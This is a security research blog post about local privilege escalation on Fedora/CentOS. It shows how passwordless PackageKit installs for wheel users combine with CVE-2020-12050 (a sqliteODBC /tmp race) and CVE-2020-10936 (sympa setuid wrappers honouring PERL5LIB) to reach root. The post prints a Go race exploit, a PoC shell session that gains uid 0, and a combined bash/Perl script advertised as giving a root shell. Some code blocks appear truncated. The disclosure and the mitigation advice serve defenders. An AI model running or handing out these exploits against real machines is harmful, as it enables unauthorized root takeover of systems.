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Abusing PackageKit on Fedora/CentOS for fun & profit (from wheel to root).

This article describes an exploitation path of PackageKit settings in Fedora/CentOS, to achieve local privilege escalation to root without any user interaction. The scenario uses vulnerabilities in both the default configuration of PackageKit and some packages.

What is PackageKit ?

PackageKit is a system available and installed by default in most distributions that allows installing or updating applications without using a specific package manager (like DNF, Yum or Aptitude).

It works as a system daemon, packagekitd, and communicates with other software using DBus.

The default behavior on Fedora/CentOS using Gnome

By default, when installing Fedora Workstation or CentOS with Gnome, users in the wheel group are allowed to install packages using PackageKit without authentication.

You may already have run a command on your system, and the prompt asked you if you want to install the software that provides this command: this is handled by PackageKit.

You can use the pkcon tool to manually install a package, without the need of entering your password:

pkcon install lynx

Where is it configured?

The PackageKit policy is handled by Polkit, which allows low privileged applications to interact with privileged system applications.

The configuration file could be found, by default, in the /usr/share/polkit-1/actions/org.freedesktop.packagekit.policy file (available online here : https://github.com/hughsie/PackageKit/blob/master/policy/org.freedesktop.packagekit.policy.in ).

In the configuration file, you can see that most Polkit actions requires auth_admin or auth_admin_keep, meaning with a password.
Some actions do not require authentication, like system update or configuration of the network proxy.

However, if we look at the org.freedesktop.packagekit.package-install policy, we can see that this policy requires a password authentication:


But why can we install packages without authentication?

This behavior is controlled by Polkit rules. If we take a look at the /usr/share/polkit-1/rules.d/org.freedesktop.packagekit.rules file, we can see the following content:

polkit.addRule(function(action, subject) {
    if (action.id == "org.freedesktop.packagekit.package-install" &&
        subject.active == true && subject.local == true &&
        subject.isInGroup("wheel")) {
            return polkit.Result.YES;

This rule allows every user from the wheel group to call the org.freedesktop.packagekit.package-install without authentication.

Why you should not let users install packages without authentication: from PackageKit on Fedora to root

We decided to see if there is a security risk of allowing users to install packages without authentication.

In the org.freedesktop.packagekit.policy file, we can read the following for the package-install action:

    <!-- SECURITY:
          - Normal users do not need authentication to install signed packages
            from signed repositories, as this cannot exploit a system.
          - Paranoid users (or parents!) can change this to 'auth_admin' or

As this cannot exploit a system?

Let’s verify that…

In order to perform our research, we downloaded every single package from the Fedora repository.

The first thing we decided to take a look at are the installation scripts.

These scripts are bash scripts that are run before and/or after installation (pre/post).

We searched for a few sensitive keywords that may allow us to escalate our privileges or perform naughty things, and we found several scripts that uses /tmp or mktemp.

Abusing sqliteODBC (CVE-2020-12050)

The sqliteODBC package saves a part of his configuration file in the /tmp folder, before running the odbcinstall script on it.

Here is the RPM install script:

if [ -x /usr/bin/odbcinst ] ; then

    if [ -r /usr/lib64/libsqliteodbc.so ] ; then
        cat > $INST <<- 'EOD'
            Description=SQLite ODBC 2.X

        /usr/bin/odbcinst -q -d -n SQLITE | grep '^[\SQLITE\]' >/dev/null || {
            /usr/bin/odbcinst -i -d -n SQLITE -f $INST || true

        cat > $INST <<- 'EOD'
            [SQLite Datasource]

        /usr/bin/odbcinst -q -s -n "SQLite Datasource" | \ 
        grep '^\[SQLite Datasource\]' >/dev/null || {
            /usr/bin/odbcinst -i -l -s -n "SQLite Datasource" -f $INST || true

As you can see, the temporary configuration file is saved using the following name /tmp/sqliteodbc$$ (where $$ is the PID of the process).

As the configuration file is using a predictable name, we can try to perform a race in order to write new contents before the file is loaded by odbcinstall.

The PID of a process is incremental, so we just have to pre-create a bunch of symlinks in the /tmp directory that target our payload.

We first mounted a filesystem as read-only, and placed our payload in this filesystem. This way, if the installer tries to change the file content, it will fail.

However, here’s the issue:

Modern kernels have implemented a security mechanism, fs.protected_symlinks, that disallow following symlinks to other users, when placed in world-writable directories (like /tmp):

$ ln -s /etc/passwd /tmp/hello
$ sudo cat /tmp/hello
cat: /tmp/hello: Permission denied

So we could not use symlinks to perform this attack. However, we managed to bypass this security mechanism by using hardlinks.

Hardlinks consist in just an « alternate » name for the file. Unlike symlinks, they only work from the same filesystem they were created on, so our « read-only » filesystem trick would not work.

However, we could always attempt to win the race against the installer process, and override the file content. We created the following Golang exploit code, that works nearly all the time.

package main

import (

func SpreadHardlinks(pid int) {
    maxPid := pid + 100
    fmt.Println("[+] Creating hardlinks...")
    for pid++ ; pid < maxPid; pid++ {
        target := fmt.Sprintf("/tmp/sqliteodbcinst%d", pid)
        err := os.Link("/tmp/race.ini", target)
        if err != nil {
        fmt.Printf("[~] Created hardlink : %s\n", target)

func main(){
    const poc = `
Description=Sysdream ODBC
    pid := os.Getpid()
    fmt.Printf("[~] Current pid : %d\n", pid)

    fmt.Println("[+] Attempting to win the race, watch for changes in /etc/odbcinstall.conf !")

    f, err := os.OpenFile("/tmp/race.ini", os.O_CREATE | os.O_RDWR, 0700)
    if err != nil {

    for {
        f.Seek(0, 0)


That way, every time a program tries to use unixODBC, the /tmp/poc.so library will be loaded.

However, we did not find any program or service that could use unixODBC during the installation process. This vulnerability could still be used to escalate privileges if some services or web applications use ODBC as this will load the /tmp/poc.so dynamic library.

Abusing sympa (CVE-2020-10936)

After evaluating the security of some install scripts, we decided to extract every RPM and search for SUID binaries.

After a quick search, we focused on the /usr/libexec/sympa/ directory, that contains multiple suid binaries:

[sysdream@localhost ~]$ ls -lah /usr/libexec/sympa/
-rwsr-xr-x.  1 sympa sympa  16K 23 janv. 09:46 bouncequeue
-rwsr-xr-x.  1 sympa sympa  16K 23 janv. 09:46 familyqueue
-rwsr-xr-x.  1 sympa sympa  16K 23 janv. 09:46 queue
-rwsr-x---.  1 root  sympa  16K 23 janv. 09:46 sympa_newaliases-wrapper
-rwsr-sr-x.  1 sympa sympa  16K 23 janv. 09:46 sympa_soap_server-wrapper.fcgi
-rwsr-sr-x.  1 sympa sympa  16K 23 janv. 09:46 wwsympa-wrapper.fcgi

As you can see, only the sympa_newaliases-wrapper binary is suid root. However, this binary is not world-executable. Only users from the sympa group are allowed to execute this program, and this is not our case.

So, in order to be able to execute this program, we need to perform a privileges escalation to the sympa user.

We looked at the wwsympa-wrapper.fcgi setuid/setgid sympa binary for vulnerabilities. We simply downloaded the RPM source using dnf download --source sympa, extracted some TARs, and looked at the C source code (that, honestly, looks like a CTF challenge):

#include <unistd.h>

int main(int argn, char **argv, char **envp) {
    setreuid(geteuid(),geteuid()); // Added to fix the segfault
    setregid(getegid(),getegid()); // Added to fix the segfault
    argv[0] = WWSYMPA;
    return execve(WWSYMPA,argv,envp);

The program simply execute the WWSYMPA binary : wwsympa.fcgi as the sympa user and group. However, something is very interesting here : envp is passed to this binary!

This means that every environment variable defined when running the wwsympa-wrapper.fcgi is passed to wwsympa.fcgi.

Let’s take a look at wwsympa.fcgi:

$ head wwsympa.fcgi.in 
# -*- indent-tabs-mode: nil; -*-
# vim:ft=perl:et:sw=4
# $Id$

That’s a Perl script! And, luckily for us, the PERL interpreter looks at the PERLLIB and PERL5LIB environment variables to look for Perl modules.

So, if we can create a malicious Perl module, the PERL interpreter will check the PERLLIB and PERL5LIB path, and if a module name matches, it will load it.

We came up with the following PoC that allows us to escalate our privileges as sympa, by creating a malicious Config perl module:

$ id
uid=1000(sysdream) gid=1000(sysdream) groupes=1000(sysdream),10(wheel) contexte=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ mkdir /tmp/poc
$ echo 'exec("/bin/bash");' > /tmp/poc/Config.pm
$ PERL5LIB=/tmp/poc PERLLIB=/tmp/poc /usr/libexec/sympa/wwsympa-wrapper.fcgi
bash-5.0$ id
uid=977(sympa) gid=975(sympa) groupes=975(sympa),10(wheel),1000(sysdream) contexte=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

As we are now the sympa user, we are allowed to execute the sympa_newaliases-wrapper binary. Let’s take a look at the source code:

#include <unistd.h>

int main(int argn, char **argv, char **envp) {
    argv[0] = SYMPA_NEWALIASES;
    return execve(SYMPA_NEWALIASES, argv, envp);

Looks familiar, isn’t it ? SYMPA_NEWALIASES point to sympa_newaliases.pl, which is also a Perl script!

Let’s try the exact same POC, but with the privileges of the sympa user.

bash-5.0$ id
uid=977(sympa) gid=975(sympa) groupes=975(sympa),10(wheel),1000(sysdream) contexte=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-5.0$ echo $PERLLIB
bash-5.0$ echo $PERL5LIB
bash-5.0$ /usr/libexec/sympa/sympa_newaliases-wrapper
[root@localhost poc]# id
uid=0(root) gid=975(sympa) groupes=975(sympa),10(wheel),1000(sysdream) contexte=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@localhost poc]# whoami

Gluing it all together

Here’s a complete exploit that installs sympa using PackageKit, and then performs a privilege escalation to root.

echo "[+] This exploit will give you a root shell on CentOS/RHEL/Fedora."
echo "[~] Installing sympa using PackageKit..."
pkcon refresh && pkcon install sympa -y
echo "[~] Exploit setup."
EXPLOITDIR=$(mktemp -d)
chmod 777 $EXPLOITDIR
my $sympauser = "sympa";
my $pwuid = getpwuid( $< );
$elevate = $pwuid eq $sympauser;
$root = $pwuid eq "root";
if ($elevate == 1)
    print "[+] Running as service user, elevating privileges as root...\n";
else {
    if ($root == 1)
        print "[+] Running as root, popping shell.\n";
        print "[!] Not running as root/sympa, exploit failed.\n";
echo "[+] Triggering exploit."


Allowing users to install packages without authentication is definitely dangerous.

Indeed, because software packages contains vulnerabilities, this could be abused in order to gain root access, without a password. It is a little bit like if sudo were configured to not ask for a password before running commands.

In order to disallow this behavior, change the default configuration in the /usr/share/polkit-1/rules.d/org.freedesktop.packagekit.rules file.

Also, make sure to check the related vulnerability bulletins for more details, workarounds and solutions :